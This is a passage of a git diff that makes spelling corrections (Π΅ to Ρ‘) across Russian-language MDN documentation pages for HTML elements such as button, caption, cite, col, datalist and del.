Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Π½Π΅Ρ‚ ΠΏΠΎΠ±ΠΎΡ‡Π½Ρ‹Ρ… эффСктов ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ содСрТат лишь ASCII-символы.</li>
+ <li><code>get</code>: Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΡ‚ΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ Π½Π° сСрвСр Π² Π²ΠΈΠ΄Π΅ ссылки, состоящСй ΠΈΠ· URI Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β {{htmlattrxref("action","form")}} ΠΈ нСпосрСдствСнно Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΡ‚Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π·Π½Π°ΠΊΠΎΠΌ '?'. Π”Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΈΠ΄ ΠΊΠ»ΡŽΡ‡/Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ ампСрсандом, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ name=Name&amp;id=35.Β Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ссли Π½Π΅Ρ‚ ΠΏΠΎΠ±ΠΎΡ‡Π½Ρ‹Ρ… эффСктов ΠΈ Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ содСрТат лишь ASCII-символы.</li>
</ul>
- <p>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, ΠΎΠ½ пСрСопрСдСляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("method","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</p>
+ <p>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, ΠΎΠ½ пСрСопрСдСляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("method","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</p>
</dd>
<dt>{{htmlattrdef("formnovalidate")}} {{HTMLVersionInline(5)}}</dt>
<dd>Π‘ΡƒΠ»Π΅Π²Ρ‹ΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚. Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Π°Π½Π½Ρ‹Π΅ Ρ„ΠΎΡ€ΠΌΡ‹ Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Π°Π»ΠΈΠ΄ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ΅.</dd>
- <dd>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½, ΠΎΠ½ пСрСопрСдСляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("novalidate","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</dd>
+ <dd>Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½, ΠΎΠ½ пСрСопрСдСляСт Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("novalidate","form")}} Ρƒ Ρ„ΠΎΡ€ΠΌΡ‹-родитСля.</dd>
<dt>{{htmlattrdef("formtarget")}} {{HTMLVersionInline(5)}}</dt>
<dd>Если <code>button</code> ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΈΠΏ <code>submit</code>, этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <span style="">являСтся ΠΈΠΌΠ΅Π½Π΅ΠΌ ΠΈΠ»ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом</span>,
<p dir="ltr" id="tw-target-text">ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΌ, Π³Π΄Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ послС ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈ Ρ„ΠΎΡ€ΠΌΡ‹<span style="">. This is a name of, or keyword for, a </span><em>browsing context</em><span style=""> (for example, tab, window, or inline frame). If this attribute is specified, it overrides the {{htmlattrxref("target", "form")}} attribute of the button's form owner. The following keywords have special meanings:</span></p>
diff --git a/files/ru/web/html/element/caption/index.html b/files/ru/web/html/element/caption/index.html
index a0c094c7c8..dfef5ffe40 100644
--- a/files/ru/web/html/element/caption/index.html
+++ b/files/ru/web/html/element/caption/index.html
@@ -18,7 +18,7 @@ translation_of: Web/HTML/Element/caption
<td>НСт</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/en-US/docs/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
@@ -26,11 +26,11 @@ translation_of: Web/HTML/Element/caption
<td>ΠšΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ Ρ‚Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡƒΡ‰Π΅Π½, Ссли элСмСнт Π½Π΅ слСдуСт сразу Π·Π° ASCII ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠΌ ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("table")}} ΠΊΠ°ΠΊ Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ ARIA-Ρ€ΠΎΠ»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ ARIA-Ρ€ΠΎΠ»ΠΈ</th>
<td>НСт</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/cite/index.html b/files/ru/web/html/element/cite/index.html
index acc999a2a8..8a7bcb1875 100644
--- a/files/ru/web/html/element/cite/index.html
+++ b/files/ru/web/html/element/cite/index.html
@@ -10,13 +10,13 @@ translation_of: Web/HTML/Element/cite
---
<h2 id="ОписаниС">ОписаниС</h2>
-<p><strong>HTML-элСмСнт &lt;cite&gt;</strong> (<em>ΠΎΡ‚ Π°Π½Π³Π». Citation</em>) прСдставляСт ΠΈΠ· сСбя ссылку Π½Π° источник Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹. ΠžΠ½Β Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π½Π°Π·Π²Π°Π½ΠΈΠ΅ произвСдСния ΠΈΠ»ΠΈ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π² сокращСнном Π²ΠΈΠ΄Π΅ Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для добавлСния ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ… цитирования.</p>
+<p><strong>HTML-элСмСнт &lt;cite&gt;</strong> (<em>ΠΎΡ‚ Π°Π½Π³Π». Citation</em>) прСдставляСт ΠΈΠ· сСбя ссылку Π½Π° источник Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹. ΠžΠ½Β Π΄ΠΎΠ»ΠΆΠ΅Π½Β Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя Π½Π°Π·Π²Π°Π½ΠΈΠ΅ произвСдСния ΠΈΠ»ΠΈ URL, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π² сокращённом Π²ΠΈΠ΄Π΅ Π² соотвСтствии с ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌΠΈ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ… для добавлСния ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ… цитирования.</p>
<div class="note">
<p><strong>Об использовании:</strong></p>
<ul>
- <li>ВворчСская Ρ€Π°Π±ΠΎΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя ΠΊΠ½ΠΈΠ³Ρƒ, ΡΡ‚Π°Ρ‚ΡŒΡŽ, ΠΎΡ‡Π΅Ρ€ΠΊ, стихотворСниС, суТдСниС, пСсню, сцСнарий, Ρ„ΠΈΠ»ΡŒΠΌ, Π’Π’-ΡˆΠΎΡƒ, ΠΈΠ³Ρ€Ρƒ, ΡΠΊΡƒΠ»ΡŒΠΏΡ‚ΡƒΡ€Ρƒ, Тивопись, Ρ‚Π΅Π°Ρ‚Ρ€Π°Π»ΡŒΠ½ΡƒΡŽ постановку, ΠΏΡŒΠ΅ΡΡƒ, ΠΎΠΏΠ΅Ρ€Ρƒ, мюзикл, выставку, ΡŽΡ€ΠΈΠ΄ΠΈΡ‡Π΅ΡΠΊΠΈΠΉ ΠΎΡ‚Ρ‡Π΅Ρ‚, ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Π²Π΅Π±-сайт,Β Π²Π΅Π±-страницу, сообщСниС ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ Π² Π±Π»ΠΎΠ³Π΅ ΠΈΠ»ΠΈ Π½Π° Ρ„ΠΎΡ€ΡƒΠΌΠ΅, tweet, письмСнноС ΠΈΠ»ΠΈ устноС заявлСниС ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</li>
+ <li>ВворчСская Ρ€Π°Π±ΠΎΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π² сСбя ΠΊΠ½ΠΈΠ³Ρƒ, ΡΡ‚Π°Ρ‚ΡŒΡŽ, ΠΎΡ‡Π΅Ρ€ΠΊ, стихотворСниС, суТдСниС, пСсню, сцСнарий, Ρ„ΠΈΠ»ΡŒΠΌ, Π’Π’-ΡˆΠΎΡƒ, ΠΈΠ³Ρ€Ρƒ, ΡΠΊΡƒΠ»ΡŒΠΏΡ‚ΡƒΡ€Ρƒ, Тивопись, Ρ‚Π΅Π°Ρ‚Ρ€Π°Π»ΡŒΠ½ΡƒΡŽ постановку, ΠΏΡŒΠ΅ΡΡƒ, ΠΎΠΏΠ΅Ρ€Ρƒ, мюзикл, выставку, ΡŽΡ€ΠΈΠ΄ΠΈΡ‡Π΅ΡΠΊΠΈΠΉ ΠΎΡ‚Ρ‡Ρ‘Ρ‚, ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, Π²Π΅Π±-сайт,Β Π²Π΅Π±-страницу, сообщСниС ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ Π² Π±Π»ΠΎΠ³Π΅ ΠΈΠ»ΠΈ Π½Π° Ρ„ΠΎΡ€ΡƒΠΌΠ΅, tweet, письмСнноС ΠΈΠ»ΠΈ устноС заявлСниС ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</li>
<li>БпСцификация W3C ΡƒΡ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ссылка Π½Π° Ρ‚Π²ΠΎΡ€Ρ‡Π΅ΡΠΊΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ имя Π°Π²Ρ‚ΠΎΡ€Π°, Π² Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊΒ WHATWG заявляСт, Ρ‡Ρ‚ΠΎ ΠΎΠ½Π° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ имя Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° Π½ΠΈ Π² ΠΊΠΎΠ΅ΠΌ случаС.</li>
<li>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ {{htmlattrxref("cite", "blockquote")}} элСмСнта {{HTMLElement("blockquote")}} ΠΈΠ»ΠΈ элСмСнта {{HTMLElement("q")}} для ссылки Π½Π° ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-рСсурс источника.</li>
</ul>
diff --git a/files/ru/web/html/element/col/index.html b/files/ru/web/html/element/col/index.html
index 47b0998714..9e0fa31592 100644
--- a/files/ru/web/html/element/col/index.html
+++ b/files/ru/web/html/element/col/index.html
@@ -80,7 +80,7 @@ translation_of: Web/HTML/Element/col
<dl>
<dt>{{htmlattrdef("bgcolor")}} {{Non-standard_inline}}</dt>
- <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ячСйки столбца. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· 6-ΠΈ Π·Π½Π°Ρ‡Π½Ρ‹Ρ… ΠΊΠΎΠ΄ΠΎΠ² Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ°ΠΊ <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с прСфиксом '#'. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚ΠΈ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… строк:
+ <dd>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ опрСдСляСт Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ячСйки столбца. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· 6-ΠΈ Π·Π½Π°Ρ‡Π½Ρ‹Ρ… ΠΊΠΎΠ΄ΠΎΠ² Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½ΠΎΠΉ систСмС счислСния, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠ°ΠΊ <a href="https://www.w3.org/Graphics/Color/sRGB">sRGB </a>с прСфиксом '#'. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈΠ· ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚ΠΈ ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… строк:
<table style="width: 80%;">
<tbody>
<tr>
diff --git a/files/ru/web/html/element/data/index.html b/files/ru/web/html/element/data/index.html
index 776121917f..534077bc41 100644
--- a/files/ru/web/html/element/data/index.html
+++ b/files/ru/web/html/element/data/index.html
@@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/data
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.data")}}</p>
diff --git a/files/ru/web/html/element/datalist/index.html b/files/ru/web/html/element/datalist/index.html
index 8af1475c47..a10e49870b 100644
--- a/files/ru/web/html/element/datalist/index.html
+++ b/files/ru/web/html/element/datalist/index.html
@@ -95,7 +95,7 @@ translation_of: Web/HTML/Element/datalist
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.datalist")}}</p>
diff --git a/files/ru/web/html/element/dd/index.html b/files/ru/web/html/element/dd/index.html
index 19f937c1c3..747f73b779 100644
--- a/files/ru/web/html/element/dd/index.html
+++ b/files/ru/web/html/element/dd/index.html
@@ -99,7 +99,7 @@ translation_of: Web/HTML/Element/dd
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ°_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
-<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаСтся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
+<div class="hidden">Π’Π°Π±Π»ΠΈΡ†Π° совмСстимости Π½Π° этой страницС создаётся ΠΈΠ· структурированных Π΄Π°Π½Π½Ρ‹Ρ…. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ внСсти свой Π²ΠΊΠ»Π°Π΄, ΠΎΠ·Π½Π°ΠΊΠΎΠΌΡŒΡ‚Π΅ΡΡŒ с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²ΡŒΡ‚Π΅ Π½Π°ΠΌ pull request.</div>
<p>{{Compat("html.elements.dd")}}</p>
diff --git a/files/ru/web/html/element/del/index.html b/files/ru/web/html/element/del/index.html
index 7c6e497506..73bf36f3ed 100644
--- a/files/ru/web/html/element/del/index.html
+++ b/files/ru/web/html/element/del/index.html
@@ -5,13 +5,13 @@ tags:
- Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ
translation_of: Web/HTML/Element/del
---
-<p><span class="seoSummary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <strong>HTML <code>&lt;del&gt;</code> </strong>прСдставляСт Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. </span>Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ "отслСТивания ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ" ΠΈΠ»ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π² исходном ΠΊΠΎΠ΄Π΅. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("ins")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΉ Ρ†Π΅Π»ΠΈ: ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
+<p><span class="seoSummary">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <strong>HTML <code>&lt;del&gt;</code> </strong>прСдставляСт Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. </span>Он ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΈ "отслСТивания ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ" ΠΈΠ»ΠΈ Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ Π² исходном ΠΊΠΎΠ΄Π΅. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("ins")}} ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΠΏΠΎΠ»ΠΎΠΆΠ½ΠΎΠΉ Ρ†Π΅Π»ΠΈ: ΡƒΠΊΠ°Π·Π°Π½ΠΈΠ΅ тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±Ρ‹Π» Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
<div>{{EmbedInteractiveExample("pages/tabbed/del.html", "tabbed-standard")}}</div>
<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
-<p>Π­Ρ‚ΠΎΡ‚ элСмСнт часто (Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ) отобраТаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ примСнСния Π·Π°Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΠΎΠ³ΠΎ стиля ΠΊ тСксту.</p>
+<p>Π­Ρ‚ΠΎΡ‚ элСмСнт часто (Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ) отобраТаСтся с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ примСнСния Π·Π°Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚ΠΎΠ³ΠΎ стиля ΠΊ тСксту.</p>
<table class="properties">
<tbody>
@@ -20,7 +20,7 @@ translation_of: Web/HTML/Element/del
